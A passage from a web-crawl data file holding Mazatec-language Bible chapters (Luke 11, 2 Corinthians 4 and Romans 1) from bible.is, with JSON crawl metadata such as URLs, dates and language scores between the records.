kìi̱ ko̱ki̱tso̱ kixi̱‑no nga mì tsa ko̱'sín tjín koni 'sín bixó. 20Tanga ra 'a̱n, tsa ko̱ nga'ñó‑la̱ Nainá bachrjèkàjiaa̱n jñà inìma̱ 'cho‑la̱ ni̱í, ki‑ní nga ijye i̱nchi'ya jiòn kó'sín batéxoma Nainá. 21'Jngo xi̱ta̱ 'tse̱n ra tjín‑la̱ nga'ñó ko̱ tjín‑la̱ ki̱cha̱, tsa 'kia̱ nda síkinda̱ ni'ya‑la̱, ndaá minchá tsajmì ra tjín‑la̱. 22Tanga tsa ìjngo xi̱ta̱ kj'i̱í ra isa̱ tse nga'ñó tjín‑la̱ nga si̱ìkijne‑la̱, kjoa̱á'an ijyeé ki̱cha̱ ra ma'ñó'ta ikon, a̱kjòn si̱ìjòya ijye tsajmì ra tjín‑la̱ nga i̱ko̱. 23'Jè xi̱ta̱ ra mì tsa 'a̱n fì'ta‑na, kondra̱á fì‑na; ko̱ jè ra mì kì bíxkóyako̱‑na xi̱ta̱, ta tísíkjahachinga‑ní ra jè. 24'Jngo inìma̱ 'cho‑la̱ ni̱í, 'kia̱ ijye bitjojin ya̱ inìma̱‑la̱ xi̱ta̱, ya̱á bajme ya̱ i̱'nde ñánda̱ kixì chon, nga bátsji'nde ñánda̱ ma si̱ìkjáya; 'kia̱ mì kì sakó'nde‑la̱, tsò‑ní: \"Kjín‑la india‑na ya̱ ñánda̱ ítjo‑na.\" 25'Kia̱ nga bijchó india‑ni, be‑ní nga nda chon koni jngo ni'ya ra isatícha. 26A̱kjòn, jè inìma̱ 'cho‑la̱ ni̱í ngi ito xákjín fí'ká‑isa ra isa̱ 'cho 'sín. Ya̱á bìtsa̱jnajin india‑ni ya̱ inìma̱‑la̱ xi̱ta̱, ko̱ jè xi̱ta̱ ra̱kìi̱ isa̱á ta 'cho ma'tin india‑ni, nda mí 'koa̱‑ni koni 'kia̱ nga ti̱'sa̱ ítjòn. 27Ti̱'kia̱‑ní nga tí'béna̱jmí Jesús jñà kjoa̱ kìi̱, kiìchja̱á jngo chjo̱ón ra ya̱ tíjnajin‑la̱ xi̱ta̱ ra kjìn ma‑ni, 'ñó kiìchja̱, nga kitsò: ―¡Mé ta̱ nda‑la̱ jè chjo̱ón ra isikatsíjen‑li i̱sà'nde ko̱ ti̱'koa̱ isíjchá‑li! 28Jesús kitsò: ―¡Isa̱á ta 'ñó nda‑la̱ jñà xi̱ta̱ ra 'nchré 'én‑la̱ Nainá, ti̱'koa̱ síhitjasòn! 29'Kia̱ nga ijye kjokjìn xi̱ta̱ ñánda̱ tíjna Jesús, tsikí'tsia̱á nga kitsò: ―'Choó 'sín xi̱ta̱ ra tjín 'ndi̱ 'ndi̱; kjo̱xkón síjé ra a̱'ta 'tse̱ Nainá; tanga ni̱jngo kjo̱xkón 'ki̱‑la̱. Tà jé ske̱ jngo kjo̱xkón koni 'tse̱ Jonás. 30Koni 'sín kijtse xi̱ta̱ Nínive kjo̱xkón ra kjomà'tin Jonás, xi̱ta̱ ra tjín 'ndi̱ 'ndi̱‑ni̱, 'koa̱á ti̱'sín ske̱ jngo kjo̱xkón ra a̱'ta tsa̱'a̱n, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱. 31'Kia̱ nga ki̱jchò ni̱chjin nga 'ki̱‑la̱ kjo̱hi'in jñà xi̱ta̱, ko̱sítje̱én jè chjo̱ón ra tíjna ítjòn nga tíbatéxoma ya̱ i̱'nde ra kjijna ya̱ nga kixi̱‑la̱ ya̱ ñánda̱ nga bitjokátji‑ni tsá'bí. Jè chjo̱ón ra̱kìi̱ tsjá'tin‑te 'én jñà xi̱ta̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱, tà nga̱tjì‑la̱ nga̱ 'ñó kjin 'ji‑ni ra jè nga kií'nchré kjoa̱chji̱ne̱‑la̱ Salomón, tanga jé ra tíjna i̱jndíi̱ 'ndi̱ 'ndi̱ isa̱á 'ñó xkón tíjna nda mí 'koa̱‑ni koni jè Salomón [tanga jiòn mì kì na'yá‑la]. 32'Kia̱ nga ki̱jchò ni̱chjin nga 'ki̱‑la̱ kjo̱hi'in jñà xi̱ta̱, ti̱'koa̱á ski̱ímítje̱én ijo‑la̱ jñà xi̱ta̱ ra ya̱ i̱'nde‑la̱ ya̱ na̱xi̱ndá Nínive, nga tsjá'tin 'én jñà xi̱ta̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱‑ni̱. Nga̱ jñà xi̱ta̱ Nínive isíkájno‑ni jé‑la̱ ko̱ mì tsa ti̱ jé tsakátsji‑ni 'kia̱ nga tsi'kéna̱jmíya‑la̱ 'én‑la̱ Nainá jè Jonás, tanga jè ra tíjna i̱jndíi̱ 'ndi̱ 'ndi̱, isa̱á ta 'ñó xkón tíjna nda mí 'koa̱‑ni koni jè Jonás [tanga mì kì makjiín‑najiòn]. 33'Ni̱jngo xi̱ta̱ ra ko̱'sín 'sín nga síkíjna'ma 'kia̱ nga jngo ni'í bíté'í. Mì tsa kàxa̱ bíjnangi; 'ngaá síkíjna, mé‑ni nga ko̱hisen‑la̱ jñà xi̱ta̱ ra 'faha'sen ni'ya. 34Jñà xkìn, jé ma ni'í ra síhisen‑la̱ ijo‑li; tsa jñà xkìn nda tsijen‑la̱, iseén chon‑la̱ nga tíjngo ijo‑li; tanga tsa mì kì tsijen‑la̱ xkìn, jñò chon‑la̱ ijo‑li. 35Nda chítsijin. ¿A nda tíjna inìma̱‑li? ¿A iseén chon‑la̱? ¿O̱ ra jñò chon‑la̱? 36Tsa iseén chon nga tíjngo ijo‑li, tsa mì mé kjoa̱jñò tjín‑la̱, nda ko̱tsíjin, 'koa̱á jngoya‑la̱ koni tsa jngo ni'í ra 'ñó títì nga nda tísíhisen. 37'Kia̱ nga ijye kiìchja̱ Jesús, jngo xi̱ta̱ fariseo xá kiìchja̱‑ila̱ nga mejèn‑la̱ ko̱kje̱n‑ko̱ ya̱ ni'ya‑la̱. 'Kia̱ nga 'jaha'sen ni'ya‑a̱ Jesús nga tsikijna'ta ímixa̱, 38jè xi̱ta̱ fariseo, tà 'koa̱á kjomà‑la̱ nga kijtse nga jè Jesús, mì kì isìhitjasòn kjo̱téxoma ra xkón tjín; mì kì tsiníjno tsja 'kia̱ nga ti̱kjè bakjèn. 39Kiìchja̱ Na̱'ín‑ná Jesucristo, kitsò‑la̱: ―Jiòn, ra xi̱ta̱ fariseo 'mì‑no, ta ya̱á a̱sòn'nga‑la̱ nga biníjno jiòn jñà chi̱tsín‑no ko̱ jñà chro̱ba̱‑no, tanga ya̱á kitse a̱jin inìma̱‑no jñà kjo̱bítsjen 'cho ko̱ kjoa̱chijé ra 'nià. 40Jiòn ra xi̱ta̱ táhijín 'mì‑no. ¿A mí 'ya: 'kia̱ nga tsikínda Nainá ijo‑la̱ xi̱ta̱, ti̱'koa̱á ti̱jé‑tse‑ni ra tsikínda inìma̱‑la̱? 41'Ti̱‑la xi̱ta̱ i̱ma̱ kjo̱nda ra tjíjin inìma̱‑no mé‑ni nga tsje ki̱tsa̱jna‑no ya̱ ngixko̱n Nainá. 42'¡I̱ma̱‑ró‑no jiòn ra xi̱ta̱ fariseo 'mì‑no, ni̱'sín ma‑no 'bì jngo yá‑la Nainá jè ra jngoyá 'kia̱ nga teya ra a̱'ta 'tse̱ xka̱ menda̱ ko̱ xka̱ ruda ko̱ nga'tsì xka̱ ra machjeén-isa‑no, tanga mì tsa kixi̱ nìko̱‑no xi̱ta̱ ko̱ mì kì tsjacha‑no Nainá! Jñá kjoa̱ kìi̱ ra isa̱ 'ñó machjeén; ko̱ ti̱'koa̱ machjeén‑te nga ki̱tjasòn jñà kjoa̱ ra i'ka. 43'¡I̱ma̱‑ró‑no jiòn, nga jñà tsjacha jñà íxile̱ ra i̱jncha ítjòn ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; ti̱'koa̱á mejèn‑no nga nda kjón jcha̱xkón‑no 'kia̱ nga síkjáya‑no xi̱ta̱ ya̱ a̱jin ndi̱tsi̱n! 44'¡I̱ma̱‑ró‑no jiòn ra jò i̱sén tjín‑no, ra ko̱kjòn jiòn koni jngo nga̱jo̱‑la̱ mi'ken, 'kia̱ bimasòn xi̱ta̱, mì kì tsijen‑ni kó chon ya̱ nga̱yaá! 45'Kia̱á kitsò jngo jñà xi̱ta̱ chji̱ne̱ xa̱jo̱n: ―Ji̱ Maestro, 'kia̱ nga ko̱'sín sii̱, ji̱ín nakjoájno‑te‑náji̱n. 46Jesús kitsó‑la̱: ―¡I̱ma̱‑ró‑no jiòn ra xi̱ta̱ chji̱ne̱ xa̱jo̱n 'tse̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, nga bínè‑la xi̱ta̱ ra i'ka kjo̱téxoma‑no ra i'in tjín ra mì kì chíkjoa̱‑la̱ nga síhitjasòn; tanga jiòn, nda mí ma‑no bisìko̱ i̱tsé! 47'¡I̱ma̱‑ró‑no jiòn, nga binda chrjó mi'ken 'tse̱ xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, ra jñà xi̱ta̱ jchínga‑no isì'ken! 48'Ya‑la̱ nga tjíjngo takòn koni 'sín ki'sìn xi̱ta̱ jchínga‑no nga jiòn binda chrjó mi'ken‑la̱ xi̱ta̱ kìi̱. 49'Jè kjo̱bítsjen‑la̱ Nainá kií ko̱'sín kitsò‑nì: \"Sikásén‑la̱ xi̱ta̱ ra ki̱chja̱ ngajo‑na ko̱ xi̱ta̱‑na̱ ra 'a̱n kotéxá‑la̱; tanga tjín ra si̱ì'ken ko̱ tjín ra koa̱àtji̱ngi‑la̱.\" 50Kinda̱á si̱ìjé‑la̱ Nainá, jñà xi̱ta̱ ra tjín 'ndi̱ 'ndi̱, ra a̱'ta 'tse̱ jní‑la̱ xi̱ta̱ ra kiìchja̱ ngajo‑la̱ ra ixaájten skanda ti̱'sa̱ isinda i̱sà'nde, 51ma'tsia̱‑nì 'tse̱ Abel ra 'ken ítjòn, skanda 'tse̱ Zacarías ra ijyehe'tà‑ni nga 'ken; ra ya̱ 'ken'nchò masen‑la̱ Ni'ya Tsje‑la̱ Nainá ko̱ i̱'nde ñánda̱ nga jñà xi̱ta̱ bísòn kjo̱tjò‑la̱ nga sínga̱tsja Nainá. 'Koa̱á xin‑no, kinda̱á si̱ìjé‑la̱ Nainá jñà xi̱ta̱ ra tjín 'ndi̱ 'ndi̱. 52'¡I̱ma̱‑ró‑no jiòn ra xi̱ta̱ chji̱ne̱ xa̱jo̱n 'mì‑no nga jiòn batechjà‑la xi̱ta̱ nga mì kì ma machi̱ya‑la̱ kjoa̱chji̱ne̱ 'tse̱ Nainá! Ko̱ ti̱'koa̱á jiòn, mì kì machi̱ya‑no, ko̱ mì kì bi'nde‑la jñà xi̱ta̱ ra kj'ií nga katachi̱ya‑la̱ ra kjoa̱chji̱ne̱ 'tse̱ Nainá. 53'Kia̱ nga ijye ko̱kitsò 'én kìi̱ Jesús, jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ xi̱ta̱ fariseo 'ñó tsiki'ta‑la̱; kjìn sko̱ya kjoa̱ iskonangi‑la̱; 54ti̱'koa̱á isikìnda̱‑ní mé 'én ra ki̱chja̱‑isa mé‑ni nga ko̱ma koa̱àngi‑ni a̱'ta 'tse̱ xi̱ta̱xá.\nSan Lucas 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/11","date":"2013-12-07T00:23:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052909\/warc\/CC-MAIN-20131204131732-00071-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":1500,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Koií kjoa̱‑la̱ ngaje̱n, mìkiì mahindaà ini̱ma̱‑na̱je̱n nga jè Na̱'èn‑ná kjòhi̱ma̱keè‑naje̱n nga xá ts'e̱ kisìnga̱tsja‑naje̱n. 2Jyeé kichjaàxìn‑je̱n jñà kjoa̱ ch'o xi tjí'ma, xi sísobà‑naje̱n; mìkiì chona̱cha̱n‑je̱n, ni̱ mìkiì nìkjatjìya‑la̱je̱n 'én‑la̱ Nainá. Nguì 'én kixi̱ bèno̱jmí‑je̱n, mejèn‑naje̱n nga nguixko̱n Nainá ngats'iì xi̱ta̱ kàteèxkon kjo̱hítsjeèn‑naje̱n kós'ín 'nè‑je̱n. 3Jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi nokjoàya‑je̱n, jñà xi̱ta̱ xi ya̱ tíchijajiìn kjoa̱ ts'e̱ jé‑la̱, ta jñà‑né xi tíjtsa'ma kjo̱hítsjeèn‑la̱ nga mìkiì fìya‑la̱. 4Jè xi̱ta̱ nei̱í xi tíhotíxoma‑la̱ i̱sò'nde na̱chrjein i̱'ndei̱, xi ko̱s'ín tíjna koni tsà nainá, jé bíchjoà xko̱n jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo; nga jè bíjñò kjo̱hítsjeèn‑la̱, mé‑ne nga mìkiì skoe̱‑ne kjoa̱hiseèn‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'ñó jeya tíjna, nga jè Cristo xi okó kó kji xi nguì jè sobà Nainá. 5Ngaje̱n, mìtsà tà i̱t'aà tsa̱je̱n nokjoà‑je̱n k'e̱ nga bèno̱jmíya‑je̱n 'én‑la̱ Nainá; i̱t'aà ts'e̱é Jesucristo nokjoà‑je̱n nga jè xi otíxoma‑ná. Ngaje̱n, tà chi̱'ndaá ma‑je̱n nga ngaje̱n nìxá‑nòje̱n, koií‑né nga matsjacha‑je̱n Jesús. 6Nainá, jè xi kitsò nga jè ni'ín kàtasíhiseèn i̱'nde ñánda jñò choòn, ti̱jè‑né xi kisìhiseèn i̱jiìn ini̱ma̱‑naje̱n, mé‑ne jñà xi̱ta̱ xi kj'ei̱í ko̱hiseèn‑la̱ nga skoe̱xkon kjoa̱ jeya‑la̱ Nainá koni s'ín 'ya‑la̱ ts'e̱ Cristo. 7Kjo̱ndaà jè xi 'ñó tse chjí‑la̱, ya̱á tíjiìn yijo‑naje̱n. Ta̱nga yijo‑naje̱n k'oa̱á s'ín ngaya‑la̱ koni ti̱jí ni'nde. Jè Nainá k'oa̱á s'ín kis'iìn mé‑ne nga 'ya‑la̱ nga jè nga'ñó xi 'ñó ndaà tísíxájiìn yijo‑na̱je̱n, i̱t'aà ts'e̱ Nainá nchrobá‑ne; mìtsà i̱t'aà tsa̱je̱n nchrobá‑ne. 8'Ñó kjìn ma‑ne kjoa̱ xi tjín‑naje̱n, ta̱nga maá ki̱tjokàjiìn‑je̱n. Tjín kjoa̱ xi makájno‑naje̱n, ta̱nga mìkiì mahindaà‑je̱n. 9Fìtji̱ngui kondra̱á‑naje̱n xi̱ta̱, ta̱nga Nainá mìkiì tsjeiìn takòn‑naje̱n; jñà xi̱ta̱ beètoòn‑naje̱n, ta̱nga mìkiì chíkjoa̱‑la̱ nga síkjehesòn‑naje̱n. 10Ni̱ta̱ ñánda‑ne nga onguí‑je̱n, kjit'aà na̱chrjein mejèn‑la̱ si̱ìk'en‑naje̱n xi̱ta̱ koni s'ín komàt'in Jesús; ta̱nga jè Nainá, jè xi mejèn‑la̱ nga i̱t'aà tsa̱je̱n kàta'ya‑la̱ nga jè Jesús xi tísíkíjnakon‑naje̱n. 11Ngaje̱n xi titsa̱jnakon‑je̱n, kjit'aà na̱chrjein tíjnat'aà chrañà‑na̱je̱n kjoa̱biyaà xi jè nga̱tjì‑la̱ Jesús, mé‑ne jè yijo‑naje̱n xi ma biyaà jcha̱‑la̱ kjoa̱binachon ts'e̱ Jesús. 12Ngaje̱n, kjo̱'iín titsa̱nìkjeiín‑je̱n skanda mejèn‑la̱ xi̱ta̱ si̱ìk'en‑naje̱n, ta̱nga jñò kjoa̱binachon tísakó‑nò. 13K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Mokjeiín‑na k'oa̱á ma‑ne nga kichjà.\" Ngaje̱n, k'oa̱á ti̱s'ín tjín ini̱ma̱‑naje̱n i̱t'aà ts'e̱ 'én xi mokjeiín‑naje̱n, k'oa̱á ma‑ne nga nokjoá‑je̱n. 14Jè Nainá xi kisìkjaáya‑la̱ Na̱'èn‑ná Jesús i̱t'aà ts'e̱ kjoa̱biyaà, 'ya‑náje̱n nga ti̱koa̱á ki̱jchò na̱chrjein nga si̱ìkjaáya‑naje̱n koni s'ín jaáya‑la̱ Jesús. I̱kjoàn ngats'iaá kji̱ko̱‑ná ya̱ nguixko̱n Nainá. 15Ngats'iì kjoa̱ koi, kjo̱ndaà tsa̱jòn‑nò, mé‑ne ìsa̱ kjìn ko̱ma‑ne xi̱ta̱ xi tjoé‑la̱ kjo̱ndaà‑la̱ Nainá, nga ti̱koa̱ ìsa̱ jeya kíjna Nainá nga kjìn ma xi̱ta̱ xi tsjá‑la̱ kjo̱ndaà. 16K'oa̱á ma‑ne mìkiì mahindaà ini̱ma̱‑naje̱n; kixi̱í kjoa̱ yijo‑naje̱n tífehengui‑né; ta̱nga Nainá, na̱chrjein nchijòn tísíxi̱tse̱ya ini̱ma̱‑naje̱n. 17Jè kjo̱'in xi nìkjeiín‑je̱n i̱ i̱sò'nde, tà chibaá tjín. Tà jngoò tjò oto. Ta̱nga ya̱á sakó‑naje̱n kjo̱ndaà xi ìsa̱ jeya tjín xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. 18Nga mìtsà jñà chìtsejèn‑la̱je̱n kjoa̱ xi tjín i̱sò'nde xi tsejèn, jñà chìtsejèn‑la̱je̱n xi mìkiì tsejèn xi ts'e̱ Nainá. Kjoa̱ xi tíma i̱ i̱sò'nde, kjoe̱het'aà‑né, ta̱nga jñà kjoa̱ xi mìkiì tsejèn, mìkiì kjoe̱het'aà ni̱ta̱ kjé‑ne.\n2 Corintios 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/4","date":"2013-12-09T22:53:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164000905\/warc\/CC-MAIN-20131204133320-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000051259994507}","num_words":479,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱án tíbindá‑no jè xa̱jo̱n ra̱kìi̱, 'a̱n Pablo ra chi̱'nda‑la̱ Jesucristo ma, ra xá ko̱'sín inakjoá‑na nga 'a̱n tsikíxáya‑na jè Nainá, ti̱'koa̱á xá jahájin‑na mé‑ni nga 'a̱n siká'bísòo̱n jè 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Nainá. 2A̱'ta 'tse̱ 'én kìi̱, Nainá ijyeé ko̱'sín kitsjà tsa'ba nga ti̱'sa̱ kjotseé, koni 'sín tíchja̱ Xa̱jo̱n‑la̱ Nainá ra tsikínda xi̱ta̱ ra kiìchja̱ ngajo‑la̱. 3Nga tíchja̱ ra a̱'ta 'tse̱ I'ndí‑la̱, jè Na̱'ín‑ná Jesucristo ra batéxoma‑ná. Ya̱á inchrabà'ta‑ni tje̱‑la̱ 'tse̱ xi̱ta̱ ra tsi'kìn David nga xi̱ta̱ i̱sà'nde kjomà. 4'Kia̱ nga jaáya‑ila̱ ya̱ a̱jin‑la̱ mi'ken, jè Jesucristo, 'koa̱á 'sín nda kijcha‑la̱ nga jè‑ní ra I'ndí‑la̱ Nainá 'mì ra 'ñó tjín‑la̱ nga'ñó nga ngi Inìma̱ Tsje‑la̱ Nainá tíjnajin‑la̱ ra jè. 5Nga̱ a̱'ta 'tse̱ Cristo‑ní nga itjábé‑na kjo̱nda nga 'a̱n tsatéxáya‑na nga 'kenájmíya‑la̱ ra a̱'ta 'tse̱ Cristo jñà xi̱ta̱ na̱xi̱ndá ra tjín nga tjíjtsa i̱sà'nde, mé‑ni nga katasíhitjasòn nga katakjiín‑la̱ ra a̱'ta 'tse̱ Cristo, mé‑ni nga jeya katasíkíjna‑ni ra jè. 6Ti̱'koa̱á ra jiòn‑jiòn, xá 'koa̱á 'sín inakjoá‑no nga xi̱ta̱‑la̱ Jesucristo 'kín‑no, 7nga'tsì‑no ra titsa̱jna ya̱ na̱xi̱ndá Roma, ra 'ñó tsjake‑no Nainá ra xá ko̱'sín inakjoá‑no nga xi̱ta̱ tsje‑la̱ ko̱ma jiòn. Nainá ra Na̱'ìn 'mí‑lá ko̱ Jesucristo ra batéxoma‑ná katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 8Ra ma'tsia̱‑nì, ra a̱'ta 'tse̱ Jesucristo 'ñó chjà'tà‑la̱ Nainá ra a̱'ta tsa̱jiòn nga Nainá ra katíchjí‑la̱, nga̱ 'ñó nda na'yá‑la̱ nga tíjngo na̱xi̱ndá ra tjín, kó'sín nga nda makjiín‑no ra a̱'ta 'tse̱ Cristo. 9Ni̱chjin nchijón‑ní nga síkítsjen‑najiòn 'kia̱ nga bitsá'ba. Ndaá tíbe jè Nainá ra ngi tjíjngoó takoàn nga tísíxá'ta‑la̱ nga tísiká'bísòo̱n jè 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Jesucristo, jè ra I'ndí‑la̱ ma. 10'Koa̱á 'sín bitsá'ba‑la̱ Nainá, tsa jè ra ko̱'sín mejèn‑la̱, tsa chan katijchó jngo ni̱chjin nga katatjò'nde‑na nga íjkon‑najiòn. 11Nga̱ mejèn‑na nga ske‑najiòn, mé‑ni nga tsja‑no kjo̱bítsjen kó'sín nga ma tjábé‑no kjo̱nda ra 'tse̱ Inìma̱ Tsje‑la̱ Nainá, mé‑ni nga isa̱ kixi̱ kitsa̱jna‑no ra a̱'ta 'tse̱ Nainá. 12Koni 'sín kjòn tíxin‑no, jè‑ní nga 'ki̱ nga'ñó koñá‑lá xàngie̱é a̱'ta 'tse̱ kjoa̱ ra ngásòn makjiín‑ná. 13Mejèn‑na nga nda katasijin‑najiòn ra 'ndsé chibé, nga 'ñó kjokjìn 'ka̱ mejèn‑na fì'tsè‑najiòn tanga skanda 'ndi̱ 'ndi̱ kjín kjoa̱ tjín‑ni ra tíbatéchjà‑na. Jè ra mejèn‑na nga ti̱'koa̱ ko̱'sín kjísíxá‑jin‑te‑najiòn a̱'ta 'tse̱ 'én‑la̱ Nainá koni 'sín ijye ísíxáa̱ ya̱ a̱jin na̱xi̱ndá ra kj'ií, mé‑ni nga ti̱'koa̱ ske‑na jngo kjo̱tjò ra 'tse̱ xá‑na̱ ra a̱'ta tsa̱jiòn. 14Tjínè‑na nga kokon‑yá‑la̱ ta yá xi̱ta̱‑ni, a xi̱ta̱ chikon‑ní o̱ ra mí tsa xi̱ta̱ chikon, a xi̱ta̱ chji̱ne̱‑ní o̱ ra mí tsa xi̱ta̱ chji̱ne̱. 15'Koa̱á ma‑ni nga ijyeé tíjna̱nda nga 'ñó mejèn‑na nga ti̱'koa̱ 'kenájmí‑najiòn jè 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo, jiòn ra ya̱ titsa̱jna‑tse ya̱ na̱xi̱ndá Roma. 16Mì kì masobà‑na a̱'ta 'tse̱ 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo, nga̱ jè‑ní ra nga'ñó‑la̱ Nainá ra ma‑la̱ síkítsa̱jnandi̱í‑ni xi̱ta̱ ra kjoa̱ 'tse̱ jé‑la̱, nga'tsì ra makjiín‑la̱ a̱'ta 'tse̱, ma'tsia̱ kjòn‑ni jñà xi̱ta̱ judío, ko̱ ti̱'koa̱ jñà ra mì tsa xi̱ta̱ judío. 17A̱'ta 'tse̱ 'én xi̱tse̱ ra nda tsò, ya̱á nchrabá‑ni nga síkatsíjen‑ná Nainá kó'sín 'sín nga xi̱ta̱ kixi̱ 'sín‑ná 'kia̱ nga makjiín‑ná ra a̱'ta 'tse̱ Cristo, mé‑ni nga isa̱ 'ñó katakjiín-isa‑ná. Nga̱ 'koa̱á 'sín tíchja̱ Xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Jè ra xi̱ta̱ kixi̱, jè kíjnakon‑ni nga makjiín‑la̱ a̱'ta 'tse̱ Nainá.\" 18Nga̱ jè Nainá bakón tsijeén‑ní jè kjo̱jti‑la̱ ra nchrabá‑ni ján ngajmi nga nchrabánè jñà xi̱ta̱ ra 'cho 'sín, jñà ra mì kì bexkón, nga̱ jñá kjoa̱'cho ra tjín‑la̱ mì kì tsjá'nde nga makjiín‑la̱ ra a̱'ta 'tse̱ kjoa̱kixi̱. 19Kjoa̱ ra ma 'yaxkeén a̱'ta 'tse̱ Nainá, ndaá tíjna tsijen‑la̱ jñà xi̱ta̱ kìi̱, nga̱ ndaá tíbakón tsijen‑la̱ Nainá. 20Nga̱ jñà kjoa̱ ra mì kì tsijen‑ni a̱'ta 'tse̱ Nainá, ndaá tí'ya‑la̱ skanda ti̱'sa̱‑ni nga isinda i̱sà'nde, nga síchi̱ya‑ná 'kia̱ nga chitsíjen‑lá nga'tsì tsajmì ra jè tsikínda. Ya̱á 'ya‑la̱ nga tjín‑la̱ nga'ñó ra mì kì fehe'ta skanda ta mé ni̱chjin‑nioo̱, ko̱ nga ta jè ta̱jngoó‑ní ra Nainá. 'Koa̱á ma‑ni nga jñà xi̱ta̱ mì kì ma kjó'ma nga ki̱tso̱: \"Mì kì mé 'ya‑ji̱n.\" 21Jñà xi̱ta̱, ni̱'sín takó ijye kijtse yá‑ni ra Nainá, tanga mì tsa jè Nainá jeya isíkíjna ko̱ nda isíkíjna; ta isa̱á jñà 'ñó isìsin‑la̱ kjo̱bítsjen ra ni̱mé chjí‑la̱, ra isa̱ 'ñó tsikíchjàjin‑isa jè inìma̱ tájajín‑la̱. 22'Koa̱á 'sín kitsò‑la̱ ijo‑la̱ nga 'ñó xi̱ta̱ chji̱ne̱, tanga ta isa̱á 'ñó xi̱ta̱ tájajín kjomà. 23Xìn isíkíjna kjoa̱jeya ra bakèn‑la̱ Nainá ra mì kì fehe'ta ni̱chjin‑la̱; ta isa̱á jñà jeya isíkítsa̱jna ra ta i̱sén‑la̱ xi̱ta̱ ra fehe'ta ni̱chjin‑la̱, ko̱ jñà i̱sén‑la̱ cho̱ ra tjotjén, ko̱ i̱sén‑la̱ nga'tsì cho̱ ra ijòn tjín ndsa̱ko̱, ko̱ nga'tsì i̱sén‑la̱ cho̱ ra bí'ndo̱fe'ta nangi ijo‑la̱. 24'Koa̱á ma‑ni nga jè Nainá kitsjin-tákon nga taxki̱ kata'sín kjoa̱tjé ra sasén‑la̱ ijo‑la̱ nga ko̱'sín kata'sín koni 'sín tjín kjoa̱ chi̱nga̱ ra tjíjin ya̱ inìma̱‑la̱. 'Koa̱á ma‑ni nga a̱'ta 'tse̱ kjoa̱ ra isìko̱ xákjién, tseé kjo̱sabà tsakátsji‑la̱ ijo‑la̱. 25Ta isa̱á, jñà kjoa̱ndiso kijìtji̱ngi‑la̱ ko̱ mì tsa jè kjoa̱kixi̱‑la̱ Nainá kijìtji̱ngi‑la̱. Ta isa̱á jñà kijtsexkón ko̱ isitsjako̱ nga 'nga isíkítsa̱jna jñà tsajmì ra jè Nainá tsikínda. Mì kì tsa jè kijtsexkón ko̱ kisitsjako̱ Nainá ra tsikínda nga'tsì tsajmì ra tjín, jè Nainá ra machjeén‑la̱ nga jè nda si̱kíjneé ta mé ni̱chjin‑nioo̱. Ko̱'sín katama. 26'Koa̱á ma‑ni nga jè Nainá kitsjin-tákon nga taxki̱ kata'sín jè kjoa̱'cho ra sasén‑la̱ ijo‑la̱ jè ra 'ñó tse kjo̱sabà tji̱ko̱. Nga̱ skanda jñà íchjín‑la̱, mì kì ti̱ ko̱'sín isìchjeén‑ni ijo‑la̱ koni 'sín nga ki'tsì‑la̱ nga íchjín 'mì. 27'Koa̱á ti̱'sín ki'sìn jñà ra xi̱ta̱ 'xi̱n. Kitsjin-takón kjoa̱ ra xá ko̱'sín tjín‑ni nga 'si̱in ko̱ íchjín‑la̱. Tjín xi̱ta̱ 'xi̱n ra 'ñó tse kjoa̱ chi̱nga̱ jahajin‑la̱ ijo‑la̱ nga ti̱jñá xi̱ta̱ 'xi̱n xákjén tsakjahijyoko̱‑ni. 'Ñó tse kjo̱sabà tsakátsji‑la̱ ijo‑la̱. 'Koa̱á ma‑ni nga tseé kjo̱hi'in isakò‑la̱ ijo‑la̱ ra ti̱jñà tsakátsji‑ni ra bakèn‑la̱ jñà kjoa̱'cho ra ki'sìn. 28Ta nga̱tjì‑la̱ nga jñà xi̱ta̱ kìi̱, mì kì isíkítsjen tsa machjeén‑ní nga ske̱xkon Nainá; 'koa̱á ma‑ni nga kitsjin-tákon Nainá nga taxki̱ kata'sín; katasíchjeén kjo̱bítsjen ra 'ñó 'cho tjín, mé‑ni nga kata'sín kjoa̱ ra ni̱mé chjí‑la̱. 29Jñà xi̱ta̱ 